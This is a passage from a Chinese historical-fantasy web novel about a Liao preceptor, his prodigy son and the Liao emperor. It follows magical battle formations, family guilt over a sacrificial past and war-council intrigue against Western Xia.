耶律皓南十二年前,于宋辽边境剖心炼制“天门阵”时,以自身心头热血浸染、融入无数枉死者怨念的——阵眼核心之物的虚影! 恐怖的、蕴含着无尽悲怆与杀戮意志的精神冲击,如同无形的海啸,席卷了阵中的每一个生灵! “嘶——吁!” “鬼!有鬼!” 铁鹞子的战马首先遭不住,它们虽是久经战阵的良驹,但动物对这种超自然的、直指灵魂的恐怖气息更为敏感。顿时惊嘶人立,不顾一切地狂蹦乱跳,将背上的骑兵狠狠甩落,然后疯狂践踏!骨折声、惨嚎声、马匹濒死的哀鸣,瞬间响成一片。 然而,这恐怖的景象只持续了不到三息。 就在那血色“断魂松”虚影凝实到极致,即将将阵中一切生灵的神魂都拖入无边血海幻境的刹那—— 刘朔忽然伸手,扯下了自己束发的玄色发带。 少年披散下一头略显凌乱的青丝。他手指灵巧地捻动发带,以一种近乎“玩耍”的姿态,将其在空中轻轻一挥,然后抛向阵眼方向。 发带脱手的瞬间,异变再起! 那棵狰狞的血色“断魂松”虚影,仿佛被一只无形的手抹过,颜色骤然褪去,形态也发生了奇异的扭曲、融化…… 取而代之的,是一片如烟似雾的、淡粉色的光晕。光晕中,无数柔软的、娇嫩的桃花花瓣,凭空生出,纷纷扬扬地洒落下来。花瓣混合着尚未散尽的淡淡血雾,在灰白的阴山雾霭背景下,形成一幅极其诡异、却又奇异地带着某种凄艳美感的画面。 修罗杀场,化作了落英缤纷的困局。 阵中那些尚未被战马踏死的铁鹞子,此刻陷入了更深的恐慌。他们看不见彼此,眼前只有无穷无尽的桃花瓣和迷雾,耳边是同伴模糊的惨叫和马嘶,方位感彻底失去。他们疯狂地挥刀砍向周围的花瓣和迷雾,却只是徒劳,甚至不慎砍伤了身边同样盲目的战友。 美丽。安静。却杀机暗藏,令人窒息。 远处的指挥高台上。 “咔嚓!” 耶律皓南手中那杆代表帅令的玄色令旗,被他硬生生捏得粉碎!尖利的木刺扎入掌心,鲜血顺着指缝滴落,他却浑然不觉。 他的目光,穿越战场的硝烟与血光,死死锁定在那片桃花纷飞的诡异区域,锁定在那个披散着头发、站在阵眼边缘的少年身影上。 当刘朔扯下发带、青丝散作桃花的刹那,耶律皓南的眼前,骤然浮现出十二年前,宋辽边境那处无名断崖的夜晚。 寒风如刀,月色凄冷。年轻的他跪在地上,面前是一棵被选为阵眼的古松。脚下,是二十四具年幼的、尚带余温的童尸——有宋人的孩子,也有……契丹遗孤。那是萧太后为了彻底斩断他的退路、逼他献上“投名状”而下的命令。 他握着匕首,对准自己的心口,一刀剜下!滚烫的心头血喷溅在松根,混合着周围童尸流淌的鲜血,被古松疯狂吸收。苍穹都被那冲天的怨煞之气染成暗红。他哭了,不是因为疼痛,而是因为那沉入灵魂深处的,永世无法洗刷的罪孽与绝望。 那就是“天门幻境”的由来——以自己的心头血为引,以无辜者的怨魂为柴,点燃的焚烧一切的复仇之火。是连他自己都畏惧、后来极少动用的禁忌。 而此刻…… 他十二岁的儿子,就这么站在万军阵前,用几枚破铜钱、一缕头发、一点指尖血……就轻描淡写地,将这需要付出无数血腥代价,蕴含着毁灭性力量的“天门幻境”,给“玩”了出来! 不仅如此,这孩子竟然还……将其“改良”了! 耶律皓南清晰地看到,刘朔布阵时,那七枚铜钱的落点,精妙地避开了此地地脉中一处极其隐晦、却煞气冲天的“死门”——那正是当年他奉命屠戮那批契丹遗孤的“七煞位”。 而阵眼处,在桃花瓣飘落的中心,一株淡金色的、叶片呈锯齿状的蕨类植物虚影,正在缓缓摇曳,散发出清新的、带着药香的气息——那是凌霄子日常用来解毒静心的“金叶蕨”!** 这小子,不仅避开了最血腥的部分,竟然还在阵中加入了“净化”与“生机”的力量! 一种难以言喻的、冰火交织的情绪,如同巨浪般冲击着耶律皓南。 骄傲。他的儿子,如此天资卓绝,如此……心地纯净,哪怕是在这血腥战场,也不愿引动最阴毒的煞气。 震骇。这孩子对道法、对力量的理解和掌控,已经到了一种令人恐惧的地步。他竟能如此“轻松”地触碰并“改写”禁忌。 恐惧,深沉的、冰冷刺骨的恐惧。这种“轻松”和“天真”,在这个时刻,是最致命的!他根本不知道,他这“玩耍”般展露的力量,会引来多少觊觎的目光,会将他自己置于何等危险的境地!尤其是……高台上那位目光如鹰的年轻帝王,此刻正抚掌而笑,眼底的光,炙热得让人心惊。 “嗖!” 一支不知从何处射来的冷箭,突破了桃花幻阵边缘稍显薄弱的地带,无声无息地直刺刘朔后心! 少年仿佛背后长眼,在最后关头猛地旋身,手中长枪向后一格! “铛!” 箭镞狠狠撞在枪杆上,巨大的冲击力让刘朔踉跄后退。而他腰间那枚已有裂痕的玉佩,在这撞击中终于不堪重负,“啪”一声彻底迸裂! 碎玉四溅,落在沙地上。奇异的是,那些碎片竟然自行移动、拼凑,在血染的黄沙上,清晰地组成了三个扭曲却可辨的字—— 贺兰山。 那是当年,萧太后逼迫耶律皓南立下“永忠大辽、屠尽西夏”血誓的旧地!是耶律皓南心中另一道不愿触及的伤疤。 刘朔低头看了一眼地上的字,眉头微微一蹙,似乎有些困惑,但很快就抛在了脑后。他抬起染血的食指,就在满是血污的沙地上,飞快地划出一道古奥的符文。 “爹!看好了!”他竟然还有余力,朝着高台方向喊了一嗓子,声音因为力竭和疼痛有些嘶哑,却依旧带着那种让人牙痒的“兴奋”,“师傅说!阵眼——不饮血,也能活!” 符文成型的刹那,地面上那些纵横交错的裂缝中,本是涌出泥沙的地方,竟然泛起了柔和的青绿色光芒。光芒流转处,裂缝边缘,以肉眼可见的速度,生出了一丛丛茵茵绿草! 草叶柔软却韧性十足,迅速生长、缠绕,如同有生命的触手,温柔却牢固地缠上了那些铁鹞子战马的马蹄、腿甲,让它们再也无法挪动分毫。 修罗场彻底变成了一幅荒诞的“春耕图”——桃花纷飞,绿草茵茵,只是中间困着一群绝望挣扎的铁甲骑士。 “哈哈哈!”高台上,少年辽帝耶律宗真抚掌大笑,笑声清亮愉悦,“妙!妙极!国师之子,竟将这修罗杀场,化作了一幅如此……别致的春耕图!” 他的龙纹战靴,有意无意地碾过地上一滩尚未凝固的血泊,目光如同发现了稀世珍宝的鹰隼,牢牢锁在阵中那个摇摇欲坠,却依旧挺直脊背的少年身影上。 “昔年陈抟老祖点化太祖皇帝,是于阵前超度十万亡魂,以无上道法定鼎江山。”他的声音温和,带着赞赏,“今朝小友此阵……倒让朕想起了上巳节的曲水流觞,雅致之中,别有乾坤。” 雅致?曲水流觞? 耶律皓南的指节捏得发白,指甲深深嵌入掌心的伤口,带来更加尖锐的疼痛,却无法压下心头那股冰寒。 他看见帝王说笑间,袖中悄然滑落一角密报——那是三日前,盛京言官弹劾“国师纵子修习妖法、蛊惑军心”的奏章副本。而此刻辽帝笑语温存,眼底映出的,却是阵中几名因为陷入幻境自相残杀,鲜血正泪泪渗入铜钱凹槽的惨象。他的赞美,与这血腥的现实形成了狰狞的对比。 “陛下。”耶律皓南上前一步,声音沉稳,却带着一丝难以掩饰的艰涩,“小儿无状,擅动妖……异术,乱我军心。臣请废此邪阵,立擒逆子,以正军法!” 他说着,猛地挥动手中残存的旗杆,“嗤”一声,将身旁那面代表帅权的玄色狼头帅旗旗帜上的金色流苏,齐根斩断!金穗纷纷坠落。 这是表态,也是最后的努力——将儿子的行为定性为“邪术”,亲自惩处,或许能稍稍降低帝王的“兴趣”,至少……不让这份“天赋”变成催命符。 耶律宗真仿佛没有听见,他弯下腰,用戴着玄铁指套的手,从地上沾血的沙土中,拈起了一枚边缘崩缺、沾满血污的“开元通宝”铜钱。 他的指腹,轻轻摩挲着铜钱上“开元”二字,目光深邃,嘴角勾起一抹意味深长的笑:“朕倒觉得……能将修罗杀场,化作试剑之坪,方是我大辽之幸,国之祥瑞。” 试剑坪!祥瑞! 这是将刘朔的“玩耍”,拔高到了“国运”的层面! 就在此时—— “噗!” 阵中,刘朔猛地喷出一口鲜血,单膝跪倒在地。他面前那七枚作为阵基的铜钱,齐齐发出“咔嚓”脆响,迸裂出更多的裂纹。 少年却浑然不顾,他抬起颤抖的、染血的手指,在空中飞快地划出一道复杂的血色符文。符文成型的刹那,与残存的阵法力量产生共鸣,那七枚即将崩碎的铜钱,竟然“嘭”的一声,彻底炸裂,化作一小蓬暗红色的金属齑粉,随风飘散。 “师傅说……”刘朔喘息着,抬起苍白的脸,看向阵中那些依旧在生长的茵茵绿草,“万物相生相克……金叶蕨能解地煞……恰如……” 他的话还没说完。 “叮铃。” 一声清越的玉石撞击声响起。 一枚通体洁白、雕琢着精致蟠龙纹的玉佩,从高台上辽帝的袖中滑落,不偏不倚,恰好滚落到了阵法的最中心——那株金叶蕨虚影所在的位置! 玉佩触地的刹那—— “嗖嗖嗖!” 阵中那些本已生长得极为茂盛的绿草,仿佛被注入了无穷的生机,疯狂地生长、蔓延、缠绕!瞬间将剩余所有尚在挣扎的铁鹞子战马马蹄,彻底捆成了一个个绿色的“粽子”! “好!好一个‘相生相克’!”耶律宗真拊掌赞叹,目光灼灼,“国师!此子天赋异禀,心性纯良,当入弘文馆,陪三皇子一同研习《孙子兵法》,方不辜负这一身本事!” 他的手指,轻轻叩击着腰间狼头刀的刀柄,发出有节奏的“笃笃”声,“毕竟——能驯化‘天门阵’这等杀伐禁术,为己所用,化暴戾为祥和者……天下,不过一掌之数。” 驯化天门阵! 这句话如同最后一根稻草,压垮了耶律皓南心中的某根弦。他猛然想起当年萧太后逼他立誓时,曾用冰冷的声音说过:“阵道通天者,非皇权可驭,亦非皇权可容。皓南,你要记住,要么为我所用,要么……” 后面的话没有说出,但那冰冷的杀意,他至今记忆犹新。 此刻残阳如血,将天地万物都镀上一层悲壮的金红。他看见儿子单膝跪在血泊与绿草之中,身体因为脱力和伤痛而微微颤抖,却仍旧用手中的断枪勉强撑着身体,脊背挺得笔直——就像十二年前,宋辽边境断崖上,那个即使心被剖开、也不愿在命运面前彻底低头的自己。 而辽帝的袖中,那半卷未完全收起的明黄色绢帛,隐约露出“特赐入宫行走”几个字——那是比任何官职,比联姻更加直接,更加危险的恩宠与笼络。意味着可以自由出入禁苑,时刻置于帝王眼皮底下。 夜幕降临,战场暂归死寂,只余零星的呻吟与篝火噼啪声。 耶律皓南扶起已经脱力,几乎站不稳的儿子。掌心触及少年单薄脊背的瞬间,他的手指几不可察地一颤——在那脊背中央,相同的位置,他竟然隔着衣衫,摸到了一处极其轻微的、却与自己心口那道疤痕位置几乎重合的……骨骼凸起。那是长期承受巨大力量冲击、或是天生根骨特异的征兆。 “爹……”刘朔靠在父亲臂弯里,气若游丝,却忽然仰起头。残存的篝火与初升的星光落入他澄澈的瞳仁,亮得惊人。“我听说……您当年炼那个阵的时候,哭得可惨了……” 他的声音很轻,带着孩子气的好奇与一丝不解,“可是……我看见阵眼那桃花,觉得……比华山脚下,师傅带我去看的那片桃林……还要好看。” 好看…… 耶律皓南的喉结剧烈地滚动了一下,一股酸涩的热流猛地冲上鼻尖,又被他狠狠压了下去。 就在此时,远处传来辽帝近侍因为惊骇而变调的呼喊:“陛下!阵中那些死者……面容竟然……皆平和如常,恍若……熟睡!” 耶律皓南循声望去。借着最后的天光,他看见那片桃花绿草的残阵边缘,几株淡金色的金叶蕨,竟然在被鲜血浸透的泥土中,顽强地抽出了嫩芽。那是凌霄子特制的“净煞蕨”草籽,想必是刘朔布阵时悄悄撒下的。 原来……这孩子从一开始,就不是在“玩耍”。他是真的在用他自己的方式,尝试着“净化”和“改善”那些充满血腥的力量。只是他太年轻,太天真,不知道这世间有些力量本身的“血腥”,就是最大的“原罪”,会为他招来无尽的灾祸。 “噼啪!” 身旁的篝火猛地爆开一簇火星。耶律皓南默默地将手中那面被自己亲手斩断金穗的裂旗,掷入了熊熊燃烧的火焰之中。 火舌舔舐着旗面上狰狞的契丹狼图腾,很快将其吞没、化为灰烬。 他想起儿子在最危急的关头,仍旧固执地避开的那个“七煞位”。十二年前,他在那里屠戮了无辜的幼童,用他们的血与魂作为阵法的养料。而今日他的儿子,宁可自己多受内伤,也不愿引动那里的一丝一毫地煞之气。 火光跃动,映亮了耶律皓南疲惫却又仿佛卸下了某种重负的面容。 也许……师叔说得对。道统的传承,从来不是要后人复刻前辈走过的、沾满血泪与骸骨的道路。 真正的传承,是让后人能够踏着那些骸骨,看清来路的艰辛与错误,然后……凭借自己的心性与悟性,走出一条更加清明、更加宽阔的坦途。 只是,这条新路,注定布满荆棘,尤其是……当这个“后人”的天赋,耀眼到足以灼伤所有人的眼睛,包括——那高踞九重之上的帝王时。 夜风更冷了,卷着戈壁的沙砾与未散的血腥气,呜咽着掠过沉寂的战场。新的战争,或许才刚刚拉开序幕。 20. 亢龙有悔,盈不可久 戈壁的朔风从未停歇,卷着三日前那场恶战残留的,已经发馊发腥的血气,掠过辽军大帐前高高飘扬的玄色狼旗。旗面猎猎作响,仿佛受伤野兽不甘的低吼。 帐内,牛油巨烛将耶律宗真年轻却已刻上疲惫与阴郁的面容映得明暗不定。他一手按在腰间那柄代表契丹皇权的错金狼头刀上,另一只手的食指,正无意识地,反复地摩挲着刀柄顶端那颗冰冷坚硬的鸽血红宝石。宝石被他体温焐得微热,边缘锋利,几乎要割破他的指腹。 他的目光越过烛火,落在巨大沙盘上那几枚被故意染成玄黑色,代表西夏“铁鹞子”的铜制马驹上。那些铜驹在沙盘上呈锋矢阵型,箭头直指辽军中军本阵,狰狞而霸道。 看着它们,耶律宗真的喉结几不可察地剧烈滚动了一下,仿佛咽下了一口掺着沙砾和铁锈味的唾沫。 三日前的夜袭……那种濒死的冰冷与耻辱感,至今仍如附骨之疽,啃噬着他的心。漆黑的夜色中,西夏铁鹞子如同从地狱涌出的黑色洪流,以一种决绝的、毁灭一切的姿态,直冲他的玄甲亲卫大营。他亲自训练、引以为傲的精锐,在真正的战场重骑面前,竟如同纸糊般被撕开。刀光剑影,血肉横飞,他甚至能清晰地看见对面骑兵面甲下那双嗜血疯狂的眼睛! 若非……若非耶律皓南在最危急的关头,不顾帅令调动本该固守侧翼的弩兵营冒死驰援,以密集的箭雨暂时阻滞了铁鹞子的冲锋,为他赢得喘息之机…… 他的玄甲亲卫,他的帝王威严,甚至他的性命,恐怕都已经葬送在那片漆黑的戈壁之中。 烛火跳动,在他眼底投下深深的阴影,也照出他眼白上密布的、触目惊心的血丝。那是连日焦虑,愤怒与深夜难眠的痕迹。同样的光,也照见了站在沙盘对面、身姿挺拔如松的耶律皓南——他肩甲上,一片尚未完全凝固的暗红色血迹,在烛光下泛着湿润的、不祥的光泽。那是三日前为了护驾,被西夏骑兵的弯刀擦过所致。 耻辱。 深深的、火烧火燎的耻辱,混合着一种难以言喻的、对眼前这位总能在危急时刻稳住局面的国师的复杂心绪,在耶律宗真胸膛里翻江倒海。 “国师。”他忽然开口,声音因为连日的焦躁而有些沙哑。他伸出手,一把抓起沙盘上代表辽军主力的那枚白玉兵符,手指因为用力而指节泛白。然后,他将玉符重重地、几乎是砸一般地按在了沙盘上标注着“贺兰山隘口”的位置! “明日寅时正刻。”他的目光锐利如刀,扫过耶律皓南平静无波的脸,“你亲率赤羽骑全部,出隘口,佯攻西夏军左翼。” “务必——”他咬牙切齿,一字一顿,“打出声势,吸引铁鹞子主力来援!朕要亲率玄甲军,在中路……与他们决一死战!” 这是命令,更是一种宣泄,一种急于洗刷前耻,证明自己的疯狂执念。他要用一场堂堂正正的,由他亲自指挥的胜利,来覆盖三日前的狼狈,来重新确立他在这支军队,在耶律皓南面前的绝对权威。 至于这个计划本身是否最优,是否会让精锐的赤羽骑陷入险地,此刻都不是他考虑的重点。 耶律宗真的话音尚未落地—— “哐当!哗啦!” 大帐角落,那个一直在咕嘟咕嘟冒着热气、散发着浓烈苦涩药味的陶制药炉旁,突然传来一阵刺耳的碗盏摔碎声! 只见刘朔猛地从简陋的行军药榻上挣起身!他的动作太猛太急,以至于正在为他肩膀伤口换药的凌霄子手中那碗刚调好的,墨绿色的稠厚药膏,连同粗陶药碗,一起被带翻,砸在地上,摔得粉碎,药膏溅了一地。 少年身上那些草草捆扎的染血绷带,因为这剧烈的动作而有些松脱,露出下面已经开始结痂,却依旧红肿可怖的伤口。那是刀伤、箭伤、擦伤混杂在一起的惨状,每一道都在无声诉说着三日前那场恶战的凶险。 可此刻,少年那张因为失血和疼痛而苍白的脸上,一双眼睛却亮得灼人,仿佛有两团无形的火焰在瞳孔深处熊熊燃烧。那是一种纯粹的,不含杂质的,属于“武曲星”天生的对战场、对杀伐、对破局的——极致渴望与兴奋! “陛下!”刘朔的声音因为激动和伤痛而有些嘶哑,却依旧清晰有力,穿透帐内凝重的空气,“让我去!给我一队轻骑,不用多,五十人就够!” 他的目光急切地扫向沙盘,手指在空中虚划,“李元昊的‘铁鹞子’,甲重马慢,看似无敌,实则最怕火器和地形限制!” “贺兰山隘口以西十里,有一处天生的葫芦形山坳,地势狭窄,两侧岩壁陡峭!”他的语速越来越快,眼中的光也越来越亮,“我带人绕后,趁着佯攻吸引注意,在山坳出口和两侧岩壁上埋设‘猛火雷’和滚木礌石!只要铁鹞子被引入坳中……” 他的手做了一个合拢、然后猛然爆开的手势,脸上因为兴奋而泛起一层不正常的潮红,“定叫他们有来无回,全军覆没!比正面硬拼省力多了!” 他说得眉飞色舞,眼神灼灼,浑身上下每一个细胞都在呐喊着对即将到来的战斗、对亲手布设陷阱、对智取强敌的无比向往。那种对战机的天然嗅觉,对兵法诡道的本能理解,以及那种混合着少年人特有的冒险精神与“武曲星”天赋的好战本性,在此刻展露无遗。 他完全忘记了自己身上纵横交错的伤口,忘记了体内尚未化尽的瘀血与毒素,忘记了只要稍稍用力、肩膀伤口就会重新崩裂渗血的剧痛。在他眼中,只有沙盘上那个完美的埋伏地点,只有如何用最小代价换取最大胜果的战术推演。 这就是“武曲星”,为战而生,天生的帅才,也是天生的……危险。 “给老子躺回去!” 一声雷鸣般的怒吼炸响!凌霄子那只蒲扇般大小、沾着药渣和污渍的手掌,以一种与其邋遢外表完全不符的闪电般的速度,狠狠按在了刘朔的后颈上!力道之大,让少年整个人不由自主地向下一沉。 与此同时,老道另一只手中不知何时已拈起的一根三寸长的银针,寒光一闪,快如毒蛇吐信,精准无比地扎入了刘朔右侧肩膀的“肩井穴”! “呃啊!”刘朔全身猛地一僵,所有的动作、所有的话语都被这一针硬生生截断。一股酸麻胀痛交加的感觉瞬间从肩井穴弥漫开来,半边身子都为之一软。 “呸!”凌霄子扭头,毫无顾忌地啐出口中一直嚼着的,苦涩的药草渣子,那渣子正好落在摔碎的药碗旁。他瞪着铜铃般的醉眼,恶狠狠地盯着脸色瞬间煞白、额头冒出冷汗的刘朔,“小兔崽子!伤口再敢给我崩开一次,流一滴血……” 他的嘴角咧开一个狰狞的,充满威胁的笑,“老子就把你全身扒光,钉在装满‘腐骨草’和‘百足虫’的药桶里,泡足三个月!让你好好尝尝什么叫生不如死!” 腐骨草!百足虫!都是极阴寒、极痛痒的毒物,用以泡药浴,简直是酷刑。 刘朔疼得龇牙咧嘴,全身肌肉都因为那银针的效力和恐惧而绷紧,可他那双眼睛,却依旧倔强地、不甘地望向沙盘的方向,瞳仁深处那簇属于“武曲星”的战意火焰,并未因为□□的疼痛和恐吓而完全熄灭,只是被暂时压制,依旧在熊熊燃烧,等待着喷薄而出的时机。 耶律皓南静静地站在帅案之后。他的目光,从儿子那因为疼痛和不甘而剧烈起伏的单薄胸膛,移到了他松脱的绷带下,脊背上那纵横交错、触目惊心的伤痕。 那些伤痕中,最深最长的一道,自左肩斜划而下,直至肋侧,皮肉翻卷后凝成的暗红色痂壳,在烛光下如同一条狰狞的蜈蚣。而这道伤口的起点,距离少年的心口要害……仅仅半寸。 三日前,就是这道伤。西夏一名百夫长的弯刀,借着战马冲力,直劈而下。当时刘朔正在为了掩护耶律宗真撤离而奋力阻敌,根本无暇完全闪避。若非他本能地侧身格挡,以肩甲和臂骨硬扛了大部分力道,同时凌霄子掷出的一枚铜钱击偏了刀锋几分……那一刀,足以将他斜劈成两半! 而此刻,这个从鬼门关捡回一条命、伤口尚未愈合,连站稳都费力的孩子,竟然还想拖着这残破之躯,去执行那种需要在敌后潜行,埋设火雷,险象环生的截杀任务? 一股混合着后怕、愤怒,以及深沉无力感的冰流,瞬间淹没了耶律皓南。他垂在身侧的手,指节因为用力而绷出骇人的青白色,甚至微微颤抖,几乎要将帅案坚硬的红木边缘捏碎。 不能让他去。绝对不能。 不仅是因为父爱,更因为……耶律宗真方才那个充满个人意气的,鲁莽的佯攻主力决战计划,本身就是一个巨大的陷阱,是用精锐士兵的鲜血去浇灌帝王脆弱的自尊心。刘朔若掺和进去,无论是执行佯攻还是绕后截杀,都凶多吉少。 必须阻止。用更理性、更有效、伤亡更小的方案。 “陛下。”耶律皓南忽然开口,声音沉稳如同深潭,不起波澜。他上前一步,伸出手,不是去拿令箭,而是握住了帅案上一面小小的指挥旗。 然后,在耶律宗真骤然转冷的目光注视下,他挥动旗帜,不是在沙盘上调兵遣将,而是——轻轻地、却又不容置疑地,将沙盘上那些代表西夏可能埋伏点的碎石,以及刘朔方才所指的葫芦形山坳模型……一并扫平。 “陛下之策,堂堂正正,可振军威。”他的声音平静,听不出丝毫情绪,“然,西夏铁鹞子凶悍,我军新遭挫败,士气未复,正面决战,纵然可胜,亦恐伤亡过巨,动摇根本。” 他的手指在沙盘上代表贺兰山北麓的区域,轻轻一点。“据哨探确报,西夏军大部分粮草辎重,并未存于大营,而是秘密囤于此处——北麓三号崖洞之中。此洞地势隐蔽,却有暗河流经,洞内潮湿。” “臣有一策,或可更省力量。”他抬起眼,目光澄澈地看向耶律宗真,“佯攻可改作火攻——不是攻敌军,而是……焚其粮。” “请陛下准臣调派一队精于潜行、爆破的影卫,携带火油与特制的‘磷火弹’,趁夜潜入北麓,焚毁西夏粮草。”他的声音不高,却字字 清晰,敲在人心上,“粮草一失,铁鹞子再凶悍,也是无根之木,不战自溃。如此,可免去大规模正面交锋,最大限度保全我军有生力量。” 焚粮。 这是最理性、最实用,也是代价最小的选择。是真正的帅才所为,眼光放在整个战局的根一本,而非一城一地的得失或个人意气。 耶律宗真闻言,瞳孔骤然缩紧,他手中一直无意识摩挲着的那枚代表辽军主力的白玉兵符,竟然在沙盘坚硬的红木边缘上,“咔”的一声,磕出了一道细微却清晰的裂痕! 他何尝不知焚粮是最佳选择?他读过那么多兵书,自然懂得“三军未动,粮草先行”,懂得“攻敌之必救”的道理。 可是…… 三日前战场上的狼狈,那种被西夏铁骑逼得不断后退、险些丧命的画面,那种在耶律皓南面前露出的脆弱与无助……如同烧红的烙铁,时刻灼烫着他的尊严。 此刻若采纳耶律皓南这个更优的策略,无异于当着所有人的面,再次承认——在用兵之道上,他这个帝王,不如眼前的臣子。他急需的那场“正面胜利”,将化为泡影。 理智与尊严,在他胸中疯狂撕扯。 “陛下!” 就在这令人窒息的沉默即将蔓延开时,凌霄子那粗嘎的嗓音再次响起。他不知何时已拔掉了刘朔肩上的银针,此刻正拎着那根用来捣药的,儿臂粗细的硬木药杵,摇摇晃晃地走到沙盘边。 他身上那件分不出本色的道袍散发着浓烈的药味和汗臭,脚下的十方鞋沾满泥污,与这肃杀的军帐格格不入。可他的眼睛,在烛火下却清亮得惊人,没有丝毫醉意。 “要老道我说啊,你们俩这点子,都差点意思!”他大大咧咧地说着,手中那根沉重的药杵,忽然向下一戳—— “笃。” 杵尖精准无比地点在了沙盘上,西夏大营后方,一处标注着浅滩符号的位置。那地方很不起眼,在巨大的沙盘上只是一小片浅色区域。 “瞧见没?这地儿。”凌霄子咧嘴一笑,露出被药汁染得发黄的牙齿,“李元昊那小子,鸡贼得很。表面上把大营扎得跟铁桶似的,其实早就在这片看似不能渡河的浅滩下游,藏了二十几条轻便的羊皮渡筏!” “这是给他自己留的退路,也是一条暗中调兵的捷径。”他的目光扫过耶律宗真骤然变色的脸,又瞥了一眼耶律皓南,“要是派两百不要命的死士,不用多,就趁着后半夜人最困的时候,从这儿悄摸过河,直插他娘的西夏大营屁股后头……” 他的脚,说话间似乎无意地,轻轻碾过了旁边药榻上刘朔因为不甘而微微抬起的膝盖。 “呃!”刘朔闷哼一声,刚积蓄起的一点力气瞬间溃散,整个人狼狈地跌回榻上,疼得蜷缩起来。 凌霄子浑若未觉,继续说道:“……再配合国师说的那个火攻粮草,嘿!前院起火,后门被捅,管保让李元昊的铁鹞子首尾难顾,哭都找不着调!哪还用得着什么佯攻主力、正面决战?费那劲!” 他说得轻描淡写,仿佛在说今晚吃什么菜。可帐内所有人的呼吸,都在这一刻滞了一滞。 耶律宗真的瞳孔,骤然缩成了针尖!他的目光死死锁在沙盘上那个被药杵点过的浅滩位置,脸色在烛火下变得一片骇人的苍白。 那处浅滩……他认得!不,应该说,他月前接到的绝密探报中,曾隐晦地提及,怀疑此处可能是西夏军一条备用的撤退或机动路线,但尚未完全查实。此等机密,连耶律皓南这个前线统帅,他都未曾透露全部! 这个看似邋遢不堪、终日醉醺醺的江湖老道……是如何得知的?而且知道得如此详尽,连渡筏的数量和种类都一清二楚? 一股冰冷的寒意,倏地从耶律宗真的尾椎骨窜起,瞬间席卷全身,浸透了他的内衫。冷汗粘腻地贴在皮肤上,带来一种极度不适的恐慌感。 原以为……亲征战场,是他重振皇威、掌控一切的契机。可此刻,他却悚然惊觉,这片血与火的战场,这座戒备森严的帅帐,早已不知不觉间,成了一盘他看不清全局的棋。眼前的国师,榻上那个天赋骇人的少年,还有这个深不可测的邋遢老道……每个人都似乎掌握着他不知道的棋子,看着他不同的棋路。 那种一切脱离掌控,被人窥视、甚至……被人安排的感觉,比三日前面对西夏铁骑的刀锋,更让他恐惧,更让他愤怒。 “嗖!” 一声锐响破空! 耶律宗真猛地抓起案上一支黑铁令箭,用尽全身力气,狠狠掷在了地上!令箭深深插入坚硬的泥地,尾羽剧烈颤动。 “准!”他的声音因为极度的情绪起伏而有些变调,却依旧努力维持着帝王的威严,“就依……道长与国师之策!夜袭焚粮,配合死士渡河夹击!” 他的目光如同淬毒的针,扫过凌霄子,最后落在耶律皓南脸上,咬牙切齿地补充道:“但焚粮之任,改由朕的玄甲亲卫精选死士执行!国师的影卫,协同即可。” 这是他最后的坚持,也是最后的遮羞布——至少,最关键、最可能立功的任务,要由他的人来完成。 “哐当。” 那枚代表辽军主力、已有裂痕的白玉兵符,从耶律宗真松开的指间滑落,掉在沙盘边缘,发出一声轻响。 而在玉符落地的刹那,耶律宗真眼角余光瞥见,一直面无表情的耶律皓南,那紧绷的肩膀线条,似乎……几不可察地,松弛了那么一丝。仿佛卸下了某种重负,又仿佛是一种无声的叹息。 帐外朔风更急,狼旗猎猎,卷着远方隐约飘来的,新的血腥气。明日的战场,或许会少流很多血。但这帅帐之内,帝王心中那道关于尊严、权力与控制的裂痕,却已然深深烙下,再难愈合。 当夜子时,戈壁的天幕如同浸透了浓墨的巨毡,唯有零星几点寒星挣扎着透出微光。辽军大营的辕门在最深的夜色中悄然洞开,又无声合拢,如同巨兽吞吐气息。三支卸去了所有反光装饰、人衔枚马裹蹄的队伍,如同三道分流的暗影,融入漆黑的荒原。 耶律皓南亲率的赤羽骑,直奔西夏军阵前沿。他们不求接敌,只是在预定的范围内来回奔驰,点起零星火把,发出嘈杂的呼喝与金铁撞击声,制造出大军夜袭的假象。 “嗖!” 一支来自黑暗中的流矢,擦着耶律皓南的头盔翎根飞过,带起一缕断裂的缨穗。若是往常,他早已挥剑格开,甚至能凭借箭矢来向判断出伏兵的大致方位。 可此刻他端坐马上,身姿挺拔如旧,握着缰绳的手却有一瞬的僵硬,目光越过前方晃动的火光与黑暗,仿佛看到了不久前离营时的一幕—— 他的行囊一直由亲卫打点,从不经他人之手。可就在出发前整装的片刻,他无意间瞥见,自己那面贴身收藏的、已有多处凹痕的玄铁护心镜旁,不知何时,竟被人悄悄塞进了另一面略小一圈、却厚实许多的新镜。 那镜子样式普通,背面却触手温润——不是金属的冰冷,而是一种奇异的、类似暖玉的质感。借着帐内昏暗的灯火,他看清了镜背上的纹路:不是装饰,而是用极细的刻刀,一笔一划、深深镌刻进镜体的——一幅完整的北斗七星阵图。 每一颗“星”的位置,都对应着人体一处大穴。阵图的核心,不是通常的“紫微”,而是“武曲”。线条走向古奥深邃,隐隐流转着一种淡金色的、肉眼难辨的光泽。那光泽……带着一丝极淡的,属于少年鲜血的铁锈气息。 正是凌霄子压箱底的,据说能在生死关头强行续接心脉一炷香时间的独门秘符——“北斗续命符”! 而刻画此符,不仅需要施术者精纯的功力和对星象医理的深刻理解,更需要……以至亲之人的心头热血为引,方能与佩戴者气息相连,生死与共。 刘朔……这孩子。 耶律皓南的心脏,在冰冷的铁甲下猛地一缩,仿佛被一只无形的手攥紧。他眼前浮现出少年苍白着脸,咬着牙,一边忍受伤口剧痛,一边用颤抖的手指握着刻刀,对着自己心口或腕脉划下,将滚烫的血珠滴入特制的药液,再混着金粉,一笔一划刻下这道符文的画面…… 他甚至可能是在重伤昏迷刚苏醒、连药碗都端不稳的时候,就开始琢磨这件事了。 这傻小子,他脑子里除了打仗破阵,除了那些惊世骇俗的“天赋”,原来……还装着这个。装着如何在他看不见的地方,用自己的方式,笨拙却又决绝地,想要护他周全。 一股酸涩的暖流,混合着更深的忧虑与心疼,冲击着耶律皓南冰封已久的心防。他下意识地抬手,隔着冰冷的胸甲,按在了贴身收藏那面新护心镜的位置。镜背的凹痕抵着皮肉,带来清晰的存在感,也带来一种沉甸甸的、几乎让他喘不过气的温暖。 二十里外,一处陡峭的崖顶。 凌霄子翘着腿,毫无形象地坐在一块被风蚀得奇形怪状的巨石上,手里拎着他那永不离身的朱红酒葫芦,有一搭没一搭地灌着。他的目光,却如同夜枭般锐利,穿透沉沉夜色,落在下方一处峡谷的入口。 那里,耶律宗真精心挑选的那队玄甲亲卫死士,正借着地形掩护,悄无声息地向着西夏粮仓所在的北麓崖洞摸去。 